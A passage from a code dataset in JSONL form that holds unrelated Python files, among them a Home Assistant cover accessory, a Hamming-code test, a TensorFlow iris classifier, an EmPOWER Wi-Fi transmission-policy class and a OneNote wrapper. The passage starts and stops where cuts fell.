print(temp.val)\n temp = temp.next\n\nif __name__ == \"__main__\":\n head = Node(1)\n head = push(head, 2)\n head = push(head, 5)\n head = push(head, 3)\n head = push(head, 7)\n head = push(head, 9)\n\n head1 = Node(7)\n head1 = push(head1, 6)\n head1 = push(head1, 5)\n head1 = push(head1, 7)\n \n print ('--- Original List ---')\n printList(head)\n \n print ('--- Original List 1 ---')\n printList(head1)\n\n # print(getIntersection(head, head1))\n print(\"----Length of the list----\")\n print (getCount(head1))","sub_path":"DS-Algo/LL_intersection.py","file_name":"LL_intersection.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"450377032","text":"\"\"\"Class to hold all cover accessories.\"\"\"\nimport logging\n\nfrom homeassistant.components.cover import ATTR_CURRENT_POSITION\n\nfrom . import TYPES\nfrom .accessories import HomeAccessory, add_preload_service, setup_char\nfrom .const import (\n CATEGORY_WINDOW_COVERING, SERV_WINDOW_COVERING,\n CHAR_CURRENT_POSITION, CHAR_TARGET_POSITION, CHAR_POSITION_STATE)\n\n_LOGGER = logging.getLogger(__name__)\n\n\n@TYPES.register('WindowCovering')\nclass WindowCovering(HomeAccessory):\n \"\"\"Generate a Window accessory for a cover entity.\n\n The cover entity must support: set_cover_position.\n \"\"\"\n\n def __init__(self, *args, config):\n \"\"\"Initialize a WindowCovering accessory object.\"\"\"\n super().__init__(*args, category=CATEGORY_WINDOW_COVERING)\n self.current_position = None\n self.homekit_target = None\n\n serv_cover = add_preload_service(self, SERV_WINDOW_COVERING)\n self.char_current_position = setup_char(\n CHAR_CURRENT_POSITION, serv_cover, value=0)\n self.char_target_position = setup_char(\n CHAR_TARGET_POSITION, serv_cover, value=0,\n callback=self.move_cover)\n self.char_position_state = setup_char(\n CHAR_POSITION_STATE, serv_cover, value=0)\n\n def move_cover(self, value):\n \"\"\"Move cover to value if call came from HomeKit.\"\"\"\n if value != self.current_position:\n _LOGGER.debug('%s: Set position to %d', self.entity_id, value)\n self.homekit_target = value\n if value > self.current_position:\n self.char_position_state.set_value(1)\n elif value < self.current_position:\n self.char_position_state.set_value(0)\n self.hass.components.cover.set_cover_position(\n value, self.entity_id)\n\n def update_state(self, new_state):\n \"\"\"Update cover position after state changed.\"\"\"\n current_position = new_state.attributes.get(ATTR_CURRENT_POSITION)\n if isinstance(current_position, int):\n self.current_position = current_position\n self.char_current_position.set_value(self.current_position)\n if self.homekit_target is None or \\\n abs(self.current_position - self.homekit_target) < 6:\n self.char_target_position.set_value(self.current_position)\n self.char_position_state.set_value(2)\n self.homekit_target = None\n","sub_path":"homeassistant/components/homekit/type_covers.py","file_name":"type_covers.py","file_ext":"py","file_size_in_byte":2437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"578259407","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n# Copyright (C) 2016 Chintalagiri Shashank\n#\n# This file is part of hamming-test.\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n\n\"\"\"\nDocstring for test_hamming_26_6\n\"\"\"\n\nimport pytest\nimport hamming\n\nbyte_vectors = [0, 255, 3, 5, 10, 15, 33, 28, 19, 100, 122, 158, 198, 224]\n\n@pytest.mark.parametrize('b1', byte_vectors)\n@pytest.mark.parametrize('b2', byte_vectors)\n@pytest.mark.parametrize('b3', byte_vectors)\ndef test_round_trip(b3, b2, b1):\n ibuf = hamming.buffer(3)\n ibuf[0] = b1\n ibuf[1] = b2\n ibuf[2] = b3\n hpack = hamming.pack_hamming26_6(ibuf.cast())\n ret = hamming.buffer(1)\n obuf = hamming.buffer(3)\n hpack = hamming.check_hamming26_6(hpack, ret.cast())\n assert ret[0] == 0\n ret = hamming.unpack_hamming26_6(hpack, obuf.cast())\n assert ret == 0\n for i in range(3):\n assert ibuf[i] == obuf[i]\n","sub_path":"test/test_hamming_26_6.py","file_name":"test_hamming_26_6.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"451021399","text":"import wx\nimport wx.aui\nimport wx.richtext\nimport codecs\n\n\nclass MsgTabPanel(wx.aui.AuiNotebook): \n\n def __init__(self, parent):\n super(MsgTabPanel, self).__init__(parent,\n style=wx.aui.AUI_NB_CLOSE_ON_ACTIVE_TAB) \n \n self.__tabs = {}\n self.__current_name = None\n\n self.Bind(wx.aui.EVT_AUINOTEBOOK_PAGE_CHANGED, self.onPageChange)\n self.Bind(wx.aui.EVT_AUINOTEBOOK_PAGE_CLOSE, self.onPageClose)\n\n def addTab(self, name, group=0):\n key = self.__tabs.get(name)\n if key: \n return\n panel = wx.Panel(self)\n sizer = wx.BoxSizer(wx.VERTICAL)\n text = wx.richtext.RichTextCtrl(panel, style=wx.richtext.RE_READONLY)\n sizer.Add(text, 1, flag=wx.EXPAND)\n panel.SetSizer(sizer)\n\n self.getLog(name, text)\n\n self.__tabs[name] = (text, group)\n self.AddPage(panel, caption=name, select=True)\n\n def getLog(self, name, tab):\n text = ''\n try:\n f = codecs.open('.'.join([name, 'txt']), 'r')\n text = f.read()\n f.close()\n except IOError:\n pass\n tab.WriteText(unicode(text))\n\n def getCurrentTabName(self):\n return self.__current_name\n\n def getTab(self, current=1, index=0, name=None):\n if current:\n return self.__tabs.get(self.__current_name)\n if index:\n return self.__tabs.get(self.GetPageText(index))\n if name:\n return self.__tabs.get(name)\n\n def setFont(self, font):\n for tab, group in self.__tabs.values():\n tab.SetFont(font) \n\n def onPageChange(self, event):\n name = self.GetPageText(event.GetSelection())\n self.__current_name = name\n\n def onPageClose(self, event): \n del self.__tabs[self.GetPageText(event.GetSelection())]\n if not len(self.__tabs):\n self.__current_name = None","sub_path":"msgtabpanel.py","file_name":"msgtabpanel.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"579007182","text":"# 실습\n# 만들기\n# accuracy 넣을 것\n\nfrom sklearn.datasets import load_iris\nfrom sklearn.metrics import accuracy_score\nimport tensorflow as tf\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import OneHotEncoder\n\n\n# 1. 데이터\ntf.set_random_seed(66)\n\ndatasets = load_iris()\nx_data = datasets.data\ny_data = datasets.target\nprint(x_data.shape, y_data.shape) # (150, 4) (150,)\n\ny_data = y_data.reshape(-1,1) # (150, 1)\n\nencoder = OneHotEncoder()\nencoder.fit(y_data)\ny_data = encoder.transform(y_data).toarray()\n\nprint(y_data.shape) #(150, 3)\n\nx_train, x_test, y_train, y_test = train_test_split(x_data,y_data, test_size = 0.2, random_state = 77)\n\n\n# 2. 모델링\nx = tf.compat.v1.placeholder(tf.float32, shape=[None, 4])\ny = tf.compat.v1.placeholder(tf.float32, shape=[None, 3])\n\nW = tf.Variable(tf.random.normal([4, 3]), name='weight')\nb = tf.Variable(tf.random.normal([1, 3]), name='bias')\n\n# hypothesis = tf.matmul(x, W) + b\nhypothesis = tf.nn.softmax(tf.matmul(x, W) + b) \n\n# categorical_crossentropy\nloss = tf.reduce_mean(-tf.reduce_sum(y * tf.log(hypothesis), axis=1))\n\n# 3. 훈련\n# optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.01)\n# train = optimizer.minimize(loss)\noptimizer = tf.train.GradientDescentOptimizer(learning_rate=0.001).minimize(loss)\n\nsess = tf.compat.v1.Session()\nsess.run(tf.global_variables_initializer())\n\nfor epochs in range(5001):\n _, cost_val = sess.run([optimizer, loss], feed_dict={x:x_train, y:y_train})\n if epochs % 200 == 0:\n print(epochs, cost_val)\n\n\n# 4. 평가, 예측\npredicted = sess.run(hypothesis, feed_dict={x:x_test})\nprint(predicted, sess.run(tf.argmax(predicted, 1)))\n\ny_pred = sess.run(hypothesis, feed_dict={x:x_test})\ny_pred = np.argmax(y_pred, axis= 1)\ny_test = np.argmax(y_test, axis= 1)\n\nprint('acc_score : ', accuracy_score(y_test, y_pred))\n\n\nsess.close()\n","sub_path":"tf114/tf16_1_iris.py","file_name":"tf16_1_iris.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"638154656","text":"import argparse\nfrom pathlib import Path\nfrom IssueParser import IssueFolderParser\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description=\"Scan the file system for issues to track and generate a CSV report.\"\n )\n parser.add_argument('-path', metavar='p', type=str, nargs=\"?\", default=\".\",\n help=\"the path of the directory to parse (default: current directory).\")\n parser.add_argument('-output', metavar='o', type=str, nargs=\"?\", default=None,\n help=\"the path of the file where to write the report. If not provided, the output will be displayed on the console.\")\n\n return parser.parse_args()\n\n\ndef get_issues(path):\n parser = IssueFolderParser()\n parser.visit_folder_root(Path(path))\n return parser.issues\n\n\ndef in_quotes(content):\n return \"\\\"{0}\\\"\".format(content)\n\n\ndef join_in_quotes(parts, sep=\",\"):\n return sep.join([in_quotes(x) for x in parts])\n\n\ndef output_report(issues, out):\n\n # Configuring pre-defined columns.\n col_id = \"Issue ID\"\n col_type = \"Type\"\n col_state = \"State\"\n col_summary = \"Summary\"\n columns = [col_id, col_type, col_state, col_summary]\n\n # Scanning issues for additional columns.\n for i in issues:\n for p in i.properties.keys():\n if p not in columns:\n columns.append(p)\n\n # Outputting the header.\n out(join_in_quotes(columns))\n\n for i in issues:\n row = []\n for col in columns:\n if col == col_id:\n row.append(i.id)\n elif col == col_type:\n row.append(i.type)\n elif col == col_state:\n row.append(i.state)\n elif col == col_summary:\n row.append(i.summary)\n else:\n if col in i.properties:\n row.append(i.properties[col])\n else:\n row.append(\"\")\n out(join_in_quotes(row))\n\n\ndef generate_report(issues, output):\n\n if output is None:\n # Output to the console.\n output_report(issues, print)\n return\n\n # Output to file.\n with open(output, \"w\") as file:\n output_report(issues, lambda t: file.write(t + \"\\n\"))\n\n\n# ========================================================================\n\ntry:\n args = parse_args()\n issue_list = get_issues(args.path)\n generate_report(issue_list.values(), args.output)\n exit(0)\nexcept Exception as ex:\n message_format = \"\"\"\n{0}\n\nPress [ENTER] to exit.\"\"\"\n print(message_format.format(ex))\n input()\n exit(-1)\n","sub_path":"docs/IssueTracking/scripts/tools/report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"108789778","text":"from nightowl.modules import build_explorers, build_links\nfrom nightowl.worker.tasks.run import run_plugin\n\n\ndef main(context):\n task = context.task\n task_group = []\n if not task:\n return task_group\n for discovery_method in task.methods:\n if not discovery_method.options.enabled:\n continue\n plugin_context = context.clone()\n plugin_context['options'] = discovery_method.options.to_mongo()\n discovery_plugin = f'{discovery_method.type}:DiscoveryPlugin'\n plugin_sig = run_plugin.si(plugin_context, discovery_plugin, 'run')\n task_group.append(plugin_sig)\n if task.build_links:\n plugin_context = context.clone()\n plugin_context['source'] = 'discovery'\n task_group.extend(build_links.main(plugin_context))\n if task.build_explorers:\n plugin_context = context.clone()\n plugin_context['source'] = 'discovery'\n task_group.extend(build_explorers.main(plugin_context))\n return task_group\n","sub_path":"nightowl/modules/discovery.py","file_name":"discovery.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"80080165","text":"#import libraries\nimport cv2\n\nimg = cv2.imread('/home/pi/Pictures/young.jpeg')\n\nfor y in range(0, img.shape[0]):\n for x in range(0, img.shape[1]):\n img[y, x] = (255, 0, 0)\n\ncv2.imshow(\"New image: \", img)\ncv2.imwrite('output-pictures/blue-image.jpeg', img)\n","sub_path":"second-overwrite-image.py","file_name":"second-overwrite-image.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"568655076","text":"import pylab as pl\n\ndef deriv(f, x):\n dx = .000001\n return (f(x + dx) - f(x)) / dx\n\ndef integral(f, domain):\n dx = .0001\n sum = 0\n for i in pl.frange(domain[0], domain[1], dx):\n sum += f(i) * dx\n return sum\n","sub_path":"Python Programs/Calculus/calculus.py","file_name":"calculus.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"489868325","text":"import argparse\nimport logging\n\nfrom camera import CameraInterface\nfrom image import RAWImage\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-f\", help=\"filename\", \n default=\"IMAGE.CR2\")\n args = parser.parse_args()\n logging.basicConfig(format='%(levelname)s: %(name)s: %(message)s', \n level=logging.INFO)\n logger = logging.getLogger()\n cam = CameraInterface(logger)\n cam.captureImageAndSave(args.f)\n im = RAWImage(logger, args.f)\n im.showRGBImage()\n \n\n","sub_path":"take_picture.py","file_name":"take_picture.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"565948222","text":"#!/usr/bin/env python3\n#\n# Copyright (c) 2019 Roberto Riggio\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Transmission policy.\"\"\"\n\nimport logging\n\nfrom empower.managers.ranmanager.lvapp.resourcepool import BT_HT20\nfrom empower_core.serialize import serializable_dict\n\nTX_AMSDU_LEN_4K = 3839\nTX_AMSDU_LEN_8K = 7935\n\nTX_MCAST_LEGACY = 0x0\nTX_MCAST_DMS = 0x1\nTX_MCAST_UR = 0x2\n\nTX_MCAST_LEGACY_H = 'legacy'\nTX_MCAST_DMS_H = 'dms'\nTX_MCAST_UR_H = 'ur'\n\nTX_MCAST = {TX_MCAST_LEGACY: TX_MCAST_LEGACY_H,\n TX_MCAST_DMS: TX_MCAST_DMS_H,\n TX_MCAST_UR: TX_MCAST_UR_H}\n\nREVERSE_TX_MCAST = {TX_MCAST_LEGACY_H: TX_MCAST_LEGACY,\n TX_MCAST_DMS_H: TX_MCAST_DMS,\n TX_MCAST_UR_H: TX_MCAST_UR}\n\n\n@serializable_dict\nclass TxPolicy:\n \"\"\"Transmission policy.\n\n A transmission policy is a set of rule that must be used by the rate\n control algorithm to select the actual transmission rate.\n\n Attributes:\n addr: the destination address to which this policy applies\n block: the actual block to which this tx policy refers to\n no_ack: do not wait for acks\n rts_cts: the rts/cts threshold in bytes\n max_amsdu_len: the maximum aggregation size in bytes\n mcast: the multicast mode (DMS, LEGACY, UR)\n mcs: the list of legacy MCSes\n ht_mcs: the list of HT MCSes\n \"\"\"\n\n def __init__(self, addr, block):\n\n self.addr = addr\n self.block = block\n self._no_ack = False\n self._rts_cts = 2436\n self._max_amsdu_len = TX_AMSDU_LEN_4K\n self._mcast = TX_MCAST_LEGACY\n self._mcs = block.supports\n self._ht_mcs = block.ht_supports\n self._ur_count = 3\n\n # logger :)\n self.log = logging.getLogger(self.__class__.__module__)\n\n def to_dict(self):\n \"\"\"Return JSON-serializable representation of the object.\"\"\"\n\n out = {\n 'addr': self.addr,\n 'no_ack': self.no_ack,\n 'rts_cts': self.rts_cts,\n 'max_amsdu_len': self._max_amsdu_len,\n 'mcast': TX_MCAST[self.mcast],\n 'mcs': sorted(self.mcs),\n 'ht_mcs': sorted(self.ht_mcs),\n 'ur_count': self.ur_count\n }\n\n return out\n\n @property\n def ur_count(self):\n \"\"\"Get ur_count.\"\"\"\n\n return self._ur_count\n\n @ur_count .setter\n def ur_count(self, ur_count):\n \"\"\"Set ur_count.\"\"\"\n\n self.set_ur_count(ur_count)\n\n self.block.wtp.connection.send_set_tx_policy(self)\n\n def set_ur_count(self, ur_count):\n \"\"\"Set ur_count without sending anything.\"\"\"\n\n self._ur_count = int(ur_count)\n\n @property\n def mcast(self):\n \"\"\"Get mcast mode.\"\"\"\n\n return self._mcast\n\n @mcast.setter\n def mcast(self, mcast):\n \"\"\"Set the mcast mode.\"\"\"\n\n self.set_mcast(mcast)\n\n self.block.wtp.connection.send_set_tx_policy(self)\n\n def set_mcast(self, mcast):\n \"\"\"Set the mcast mode without sending anything.\"\"\"\n\n self._mcast = int(mcast) if int(mcast) in TX_MCAST else TX_MCAST_LEGACY\n\n @property\n def mcs(self):\n \"\"\"Get set of MCS.\"\"\"\n\n return self._mcs\n\n @mcs.setter\n def mcs(self, mcs):\n \"\"\"Set the list of MCS.\"\"\"\n\n self.set_mcs(mcs)\n\n self.block.wtp.connection.send_set_tx_policy(self)\n\n def set_mcs(self, mcs):\n \"\"\"Set the list of MCS without sending anything.\"\"\"\n\n self._mcs = self.block.supports & set(mcs)\n\n if not self._mcs:\n self._mcs = self.block.supports\n\n @property\n def ht_mcs(self):\n \"\"\"Get set of HT MCS.\"\"\"\n\n return self._ht_mcs\n\n @ht_mcs.setter\n def ht_mcs(self, ht_mcs):\n \"\"\"Set the list of MCS.\"\"\"\n\n self.set_ht_mcs(ht_mcs)\n\n self.block.wtp.connection.send_set_tx_policy(self)\n\n def set_ht_mcs(self, ht_mcs):\n \"\"\"Set the list of HT MCS without sending anything.\"\"\"\n\n self._ht_mcs = self.block.ht_supports & set(ht_mcs)\n\n if not self._ht_mcs:\n self._ht_mcs = self.block.ht_supports\n\n @property\n def no_ack(self):\n \"\"\"Get no ack flag.\"\"\"\n\n return self._no_ack\n\n @no_ack.setter\n def no_ack(self, no_ack):\n \"\"\"Set the no ack flag.\"\"\"\n\n self.set_no_ack(no_ack)\n\n self.block.wtp.connection.send_set_tx_policy(self)\n\n def set_no_ack(self, no_ack):\n \"\"\"Set the no ack flag without sending anything.\"\"\"\n\n self._no_ack = bool(no_ack)\n\n @property\n def rts_cts(self):\n \"\"\"Get rts_cts.\"\"\"\n\n return self._rts_cts\n\n @rts_cts.setter\n def rts_cts(self, rts_cts):\n \"\"\"Set rts_cts.\"\"\"\n\n self.set_rts_cts(rts_cts)\n\n self.block.wtp.connection.send_set_tx_policy(self)\n\n def set_rts_cts(self, rts_cts):\n \"\"\"Set rts_cts without sending anything.\"\"\"\n\n self._rts_cts = int(rts_cts)\n\n @property\n def max_amsdu_len(self):\n \"\"\"Get max_amsdu_len.\"\"\"\n\n return self._max_amsdu_len\n\n @max_amsdu_len.setter\n def max_amsdu_len(self, max_amsdu_len):\n \"\"\"Set max_amsdu_len.\"\"\"\n\n self.set_max_amsdu_len(max_amsdu_len)\n\n self.block.wtp.connection.send_set_tx_policy(self)\n\n def set_max_amsdu_len(self, max_amsdu_len):\n \"\"\"Set max_amsdu_len without sending anything.\"\"\"\n\n self._max_amsdu_len = int(max_amsdu_len)\n\n def __hash__(self):\n\n return hash(self.addr) + hash(self.block)\n\n def __eq__(self, other):\n\n if not isinstance(other, TxPolicy):\n return False\n\n return (other.addr == self.addr and\n other.block == self.block and\n other.no_ack == self.no_ack and\n other.rts_cts == self.rts_cts and\n other.max_amsdu_len == self.max_amsdu_len and\n other.mcast == self.mcast and\n other.mcs == self.mcs and\n other.ht_mcs == self.ht_mcs)\n\n def to_str(self):\n \"\"\"Return an ASCII representation of the object.\"\"\"\n\n mcs = \", \".join([str(x) for x in self.mcs])\n ht_mcs = \", \".join([str(x) for x in self.ht_mcs])\n\n if self.block.band == BT_HT20:\n state = \\\n \"%s no_ack %s rts_cts %u max_amsdu %u mcast %s ur_count %u \" \\\n \"ht_mcs %s\" % \\\n (self.addr, self.no_ack, self.rts_cts, self.max_amsdu_len,\n TX_MCAST[self.mcast], self.ur_count, ht_mcs)\n else:\n state = \\\n \"%s no_ack %s rts_cts %u max_amsdu %u mcast %s ur_count %u \" \\\n \"mcs %s\" % \\\n (self.addr, self.no_ack, self.rts_cts, self.max_amsdu_len,\n TX_MCAST[self.mcast], self.ur_count, mcs)\n\n return state\n\n def __str__(self):\n return self.to_str()\n\n def __repr__(self):\n return self.__class__.__name__ + \"('\" + self.to_str() + \"')\"\n","sub_path":"empower/managers/ranmanager/lvapp/txpolicy.py","file_name":"txpolicy.py","file_ext":"py","file_size_in_byte":7375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"113242995","text":"from .onmanager import ONProcess\r\nimport lxml.etree as ET\r\nfrom lxml.builder import ElementMaker\r\nimport time\r\nimport re\r\n\r\n__all__ = [\"OneNote\", \"PageEditor\"]\r\n\r\nnamespace = \"\"\r\n\r\nclass OneNote():\r\n def __init__(self, version=14):\r\n self.process = ONProcess(version=version)\r\n global namespace\r\n namespace = self.process.namespace\r\n self.object_tree = ET.fromstring(self.process.get_hierarchy(\"\",4))\r\n self.hierarchy = Hierarchy(self.object_tree)\r\n \r\n def get_page_content(self, page_id, page_info=0):\r\n page_content_xml = ET.fromstring(self.process.get_page_content(page_id, page_info))\r\n return PageContent(page_content_xml)\r\n\r\nclass PageEditor():\r\n def __init__(self, version=14):\r\n self._process = ONProcess(version=version)\r\n self._namespace = self._process.namespace\r\n self._page = None\r\n #ET.register_namespace(\"one\", self._namespace)\r\n self._xml = None\r\n self._title = None\r\n self._flat_contents = []\r\n\r\n def create(self, section, title, lines=None):\r\n now = time.time()\r\n self._process.create_new_page(section.id)\r\n #get the newly created page, regenerate hierarchy\r\n refresh_section_xml = self._process.get_hierarchy(section.id,4)\r\n refresh_section = Section(ET.fromstring(refresh_section_xml))\r\n assert refresh_section.id == section.id\r\n self.open(refresh_section[-1])\r\n creation = time.mktime(time.strptime(self._page.date_time, \"%Y-%m-%dT%H:%M:%S.%fZ\"))\r\n if creation - now > 5:\r\n raise Exception(\"Page is too old to be freshly created, something went wrong?\")\r\n \r\n self.update_title(title)\r\n \r\n if lines:\r\n self.add_lines(lines)\r\n\r\n def find_in_xml(self, patterns):\r\n xml = self._rawxml\r\n found = []\r\n if not isinstance(patterns, (list, tuple)):\r\n patterns = [patterns]\r\n for p in patterns:\r\n found.extend(re.findall(p, xml))\r\n return found\r\n\r\n def overwrite_content(self, newxml):\r\n self._process.update_page_content(newxml)\r\n \r\n def replace_in_xml(self, originals, replacements, dry_run=True, confirm=True):\r\n skipped = []\r\n applied = []\r\n xml = self._rawxml\r\n for orig, rep in zip(originals, replacements):\r\n if confirm:\r\n ok = input('\\n\\nReplace:\\n{}\\n\\nwith:\\n{}\\n?[n for No]'.format(orig.replace('\\r\\n', ' '), rep))\r\n else:\r\n ok = 'Y'\r\n if ok.upper() == 'N':\r\n skipped.append(orig.replace('\\r\\n', ' '))\r\n continue\r\n else:\r\n applied.append((orig.replace('\\r\\n', ' '), rep))\r\n xml = re.sub(re.escape(orig), rep, xml)\r\n if not dry_run:\r\n self._process.update_page_content(b'\\n' + ET.tostring(ET.fromstring(xml)))\r\n else:\r\n print('Dry run for page {} (changes not applied)'.format(self._page.name))\r\n\r\n return applied, skipped\r\n\r\n \r\n def add_lines(self, lines):\r\n maker = ElementMaker(namespace=\"one\")\r\n root = maker.root()\r\n root.append(maker.Outline())\r\n root[0].append(maker.OEChildren())\r\n \r\n for index, line in enumerate(lines):\r\n root[0][0].append(maker.OE())\r\n root[0][0][index].append(maker.T(ET.CDATA(line))) \r\n \r\n ns = {\"one\":\"http://schemas.microsoft.com/office/onenote/2010/onenote\"}\r\n page = ET.fromstring(self._process.get_page_content(self._page.id))\r\n oechildren = page.find(\".//one:Outline/one:OEChildren\", ns) \r\n if oechildren is not None:\r\n for oe in root[0][0]:\r\n oechildren.append(oe) \r\n else:\r\n page.append(root[0])\r\n \r\n self._process.update_page_content( #bit of a HACK to clean the dammed \"ns0\"\r\n ET.tostring(page).replace(b\"ns0:\",b\"one:\").replace(b'xmlns:one=\"one\"', b\"\"))\r\n \r\n self._flatten()\r\n\r\n def open(self, page):\r\n self._page = page\r\n self._flatten()\r\n\r\n def _flatten(self):\r\n \"\"\"Expose each line without the xml nesting\"\"\"\r\n self._rawxml = self._process.get_page_content(self._page.id)\r\n self._xml = ET.fromstring(self._rawxml)\r\n flat = list(self._xml.iter(self._namespace+'T'))\r\n try:\r\n self._title = flat[0]\r\n self._flat_contents = flat[1:]\r\n except IndexError:\r\n self._title=''\r\n self._flat_contents = []\r\n\r\n def _push(self):\r\n self._process.update_page_content(b'\\n' + ET.tostring(self._xml))\r\n #refresh\r\n self._flatten() \r\n\r\n def print(self):\r\n print(\"Title: {}\".format(self._title.text))\r\n print(\"\\n\".join(node.text if node.text else \"\" for node in self._flat_contents))\r\n\r\n def get_lines(self, start=0, end=None):\r\n if end is None:\r\n end = len(self._flat_contents)\r\n \r\n return [node.text if node.text else \"\" for node in self._flat_contents[start:end]]\r\n\r\n def update_title(self, newtitle):\r\n self._title.text = newtitle\r\n self._push()\r\n\r\n def update_lines(self, lines, start=0):\r\n \"\"\"Modify the content of lines[start:end]\"\"\" \r\n for xml_line, newline in zip(self._flat_contents[start:], lines):\r\n xml_line.text = newline\r\n \r\n self._push()\r\n \r\n def format_lines(self, linenumbers, key, value):\r\n if not isinstance(linenumbers, list):\r\n linenumbers=[linenumbers]\r\n for n in linenumbers:\r\n self._flat_contents[n].set(key, value)\r\n \r\n self._push()\r\n \r\n \r\nclass Hierarchy():\r\n\r\n def __init__(self, xml=None):\r\n self._children = []\r\n if (xml != None): \r\n self.__deserialize_from_xml(xml)\r\n\r\n def __deserialize_from_xml(self, xml):\r\n self._children = [Notebook(n) for n in xml]\r\n \r\n def __iter__(self):\r\n yield from self._children\r\n \r\n def __getitem__(self, key):\r\n return self._children[key]\r\n \r\n def __len__(self):\r\n return len(self._children)\r\n \r\nclass Node():\r\n def __init__(self):\r\n self.name = \"\"\r\n self._children = []\r\n\r\n def __str__(self):\r\n if self.name:\r\n return self.name \r\n else:\r\n return \"NO_NAME\"\r\n\r\n def __repr__(self):\r\n return object.__repr__(self).rstrip(\">\") + \" \" + str(self.name) + \">\"\r\n\r\n def __getitem__(self, key):\r\n return self._children[key] \r\n\r\n def __iter__(self):\r\n yield from self._children\r\n \r\n def __len__(self):\r\n return len(self._children)\r\n \r\n\r\nclass HierarchyNode(Node):\r\n\r\n def __init__(self, parent=None):\r\n super().__init__()\r\n self.path = \"\"\r\n self.id = \"\"\r\n self.last_modified_time = \"\"\r\n self.synchronized = \"\"\r\n\r\n def deserialize_from_xml(self, xml):\r\n self._xml = xml\r\n self.name = xml.get(\"name\")\r\n self.path = xml.get(\"path\")\r\n self.id = xml.get(\"ID\")\r\n self.last_modified_time = xml.get(\"lastModifiedTime\")\r\n \r\n\r\nclass Notebook(HierarchyNode):\r\n\r\n def __init__ (self, xml=None):\r\n super().__init__()\r\n self.nickname = \"\"\r\n self.color = \"\"\r\n self.is_currently_viewed = \"\"\r\n self.recycleBin = None\r\n self._children = []\r\n if (xml != None):\r\n self.__deserialize_from_xml(xml)\r\n\r\n def __deserialize_from_xml(self, xml):\r\n HierarchyNode.deserialize_from_xml(self, xml)\r\n self.nickname = xml.get(\"nickname\")\r\n self.color = xml.get(\"color\")\r\n self.is_currently_viewed = xml.get(\"isCurrentlyViewed\")\r\n self.recycleBin = None\r\n for node in xml:\r\n if (node.tag == namespace + \"Section\"):\r\n self._children.append(Section(node, self)) \r\n\r\n elif (node.tag == namespace + \"SectionGroup\"):\r\n if(node.get(\"isRecycleBin\")):\r\n self.recycleBin = SectionGroup(node, self)\r\n else:\r\n self._children.append(SectionGroup(node, self))\r\n\r\n\r\nclass SectionGroup(HierarchyNode):\r\n\r\n def __init__ (self, xml=None, parent_node=None):\r\n super().__init__()\r\n self.is_recycle_Bin = False\r\n self._children = []\r\n self.parent = parent_node\r\n if (xml != None):\r\n self.__deserialize_from_xml(xml)\r\n\r\n def __deserialize_from_xml(self, xml):\r\n HierarchyNode.deserialize_from_xml(self, xml)\r\n self.is_recycle_Bin = xml.get(\"isRecycleBin\")\r\n for node in xml:\r\n if (node.tag == namespace + \"SectionGroup\"):\r\n self._children.append(SectionGroup(node, self))\r\n if (node.tag == namespace + \"Section\"):\r\n self._children.append(Section(node, self))\r\n\r\n\r\nclass Section(HierarchyNode):\r\n \r\n def __init__ (self, xml=None, parent_node=None):\r\n super().__init__()\r\n self.color = \"\"\r\n self.read_only = False\r\n self.is_currently_viewed = False \r\n self._children = []\r\n self.parent = parent_node\r\n if (xml != None):\r\n self.__deserialize_from_xml(xml)\r\n\r\n def __deserialize_from_xml(self, xml):\r\n HierarchyNode.deserialize_from_xml(self, xml)\r\n self.color = xml.get(\"color\")\r\n try:\r\n self.read_only = xml.get(\"readOnly\")\r\n except Exception as e:\r\n self.read_only = False\r\n try:\r\n self.is_currently_viewed = xml.get(\"isCurrentlyViewed\") \r\n except Exception as e:\r\n self.is_currently_viewed = False\r\n\r\n self._children = [Page(xml=node, parent_node=self) for node in xml]\r\n\r\n\r\nclass Page(Node):\r\n \r\n def __init__ (self, xml=None, parent_node=None):\r\n super().__init__()\r\n self.id = \"\"\r\n self.date_time = \"\"\r\n self.last_modified_time = \"\"\r\n self.page_level = \"\"\r\n self.is_currently_viewed = \"\"\r\n self.parent = 